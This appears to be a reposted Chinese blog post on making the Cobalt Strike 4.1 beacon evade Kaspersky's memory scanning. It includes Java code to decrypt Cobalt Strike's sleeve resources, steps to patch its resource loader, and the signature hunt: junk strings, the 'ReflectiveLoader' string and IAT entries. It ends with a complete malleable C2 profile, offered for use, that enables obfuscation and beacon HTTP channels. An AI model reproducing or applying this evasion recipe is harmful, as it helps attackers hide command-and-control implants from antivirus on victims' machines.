您現在的位置是:首頁 > 籃球

記一次cs bypass卡巴斯基記憶體查殺

  • 由 華盟君 發表于 籃球
  • 2022-02-18
簡介}}public static byte[] toByteArray(File f) throws IOException {ByteArrayOutputStream bos = new ByteArrayOutputStream((in

win32 trojan怎麼清除

1。起始

在使用cobalt strike 的過程中,卡巴斯基對預設cs 4。1版本生成的beacon進行瘋狂的記憶體查殺,特徵多達6個。本次採用手動定位法確認特徵,並透過修改配置達到記憶體免殺效果。

2。解密

從cs4。x開始,對beacon等資源進行了加密,需要解密後才能獲得原始dll,為了更快測試修改後的dll,對cs的載入資原始碼進行修改,讓其可以直接載入未經加密的beacon。dll(感謝WBGII的解密指令碼)

cs的資源放在sleeve資料夾內,cs的功能程式碼為beacon。dll /beacon。x64。dll,是記憶體查殺重點關注的物件

cs讀取資原始碼如下

記一次cs bypass卡巴斯基記憶體查殺

對資源進行解密

//Author: WBGII

package csdecrypt;

import common。SleevedResource;

import java。io。*;

public class Main {

public static void saveFile(String filename,byte [] data)throws Exception{

if(data != null){

String filepath =filename;

File file = new File(filepath);

if(file。exists()){

file。delete();

}

FileOutputStream fos = new FileOutputStream(file);

fos。write(data,0,data。length);

fos。flush();

fos。close();

}

}

public static byte[] toByteArray(File f) throws IOException {

ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f。length());

BufferedInputStream in = null;

try {

in = new BufferedInputStream(new FileInputStream(f));

int buf_size = 1024;

byte[] buffer = new byte[buf_size];

int len = 0;

while (-1 != (len = in。read(buffer, 0, buf_size))) {

bos。write(buffer, 0, len);

}

return bos。toByteArray();

} catch (IOException e) {

e。printStackTrace();

throw e;

} finally {

try {

in。close();

} catch (IOException e) {

e。printStackTrace();

}

bos。close();

}

}

public static void main(String[] var0) throws Exception {

byte[] csdecrypt = new byte[]{1, -55, -61, 127, 102, 0, 0, 0, 100, 1, 0, 27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6};

SleevedResource。Setup(csdecrypt);

byte[] var7=null;

File file = new File(“sleeve”);

File[] fs = file。listFiles();

for(File ff:fs){

if(!ff。isDirectory())

var7 = SleevedResource。readResource(ff。getPath());

saveFile(“sleevedecrypt\\”+ff。getName(),var7);

System。out。println(“解密成功:”+ff。getName());

}

}

}

解密後對cs的程式碼進行修改,讓其直接可以載入為無加密的資源(資源替換sleeve資料夾)

/common/SleevedResource。class

記一次cs bypass卡巴斯基記憶體查殺

去掉解密過程,讓其直接讀取位元組陣列後返回,使用javac編譯,替換原有的class

3。測試

將解密後的beacon。dll載入記憶體,使用KAP查殺,發現其並無Cobalt。gen報毒,但是修補後的payload存在報毒,遂懷疑為cs生成payload的過程中往裡面加了東西導致該特徵出現。

記一次cs bypass卡巴斯基記憶體查殺

使用BeyondCompare比對原始dll和生成後的payload,發現生成後的payload多出很多字串

記一次cs bypass卡巴斯基記憶體查殺

對這些多出的字串進行刪除,發現少了三個報毒,斷定其是Cobalt。gen報毒的原因,發現預設的c2profile中會新增這些垃圾字串,並沒啥用(坑人),直接刪除

記一次cs bypass卡巴斯基記憶體查殺

刪除後,將payload載入,發現卡巴不報Cobalt。gen。前三個特徵處理完畢。

4。最後兩個

後續兩個報毒如下:

MEM:Trojan。Win32。Cometer。gen

MEM:Trojan。Win32。SEPEH。gen

使用排列組合對區段進行清除以排查,清除rdata和data後發現載入記憶體後不殺。

發現rdata中出現敏感字串ReflectiveLoader,遂修改,過了Cometer。gen

transform-x86 {

strrep “ReflectiveLoader” “misakaloader”;

}

修改前:

記一次cs bypass卡巴斯基記憶體查殺

修改後:

記一次cs bypass卡巴斯基記憶體查殺

繼續排查,單獨提取rdata區段載入記憶體,發現其報毒SEPEH,就此確認這個查殺點位於此處。使用工具對其他字元清除,發現其繼續報毒。為啟發式查殺。隨後在rdata區域發現如下內容

記一次cs bypass卡巴斯基記憶體查殺

根據經驗猜測修改Sleep,載入後發現KAP不查殺了,看來最後一個特徵就是這裡了。發現這裡是IAT,準備想辦法自行加密IAT。諮詢WBGII大佬後,知曉c2profile可以開啟加密混淆IAT,遂使用配置setobfuscate“true”;成功bypass最後一個報毒。

手動掃描記憶體

記一次cs bypass卡巴斯基記憶體查殺

5。提示

由於分階段的payload存在其他特徵,請不要使用。生成stageless payload自行接管遠端載入

https://wbglil。gitbook。io/cobalt-strike/

再次鳴謝WBGII大佬的配置幫助

最後附上c2 profile 檔案

# default sleep time is 60s

set sleeptime “10000”;

# jitter factor 0-99% [randomize callback times]

set jitter “0”;

# maximum number of bytes to send in a DNS A record request

set maxdns “255”;

# indicate that this is the default Beacon profile

set sample_name “001”;

stage {

set stomppe “true”;

set obfuscate “true”;

set cleanup “true”;

transform-x86 {

strrep “ReflectiveLoader” “misakaloader”;

}

transform-x64 {

strrep “ReflectiveLoader” “misakaloader”;

}

}

# define indicators for an HTTP GET

http-get {

# Beacon will randomly choose from this pool of URIs

set uri “/ca /dpixel /__utm。gif /pixel。gif /g。pixel /dot。gif /updates。rss /fwlink /cm /cx /pixel /match /visit。js /load /push /ptj /j。ad /ga。js /en_US/all。js /activity /IE9CompatViewList。xml”;

client {

# base64 encode session metadata and store it in the Cookie header。

metadata {

base64;

header “Cookie”;

}

}

server {

# server should send output with no changes

header “Content-Type” “application/octet-stream”;

output {

print;

}

}

}

# define indicators for an HTTP POST

http-post {

# Same as above, Beacon will randomly choose from this pool of URIs [if multiple URIs are provided]

set uri “/submit。php”;

client {

header “Content-Type” “application/octet-stream”;

# transmit our session identifier as /submit。php?id=[identifier]

id {

parameter “id”;

}

# post our output with no real changes

output {

print;

}

}

# The server‘s response to our HTTP POST

server {

header “Content-Type” “text/html”;

# this will just print an empty string, meh。。。

output {

print;

}

}

}

Top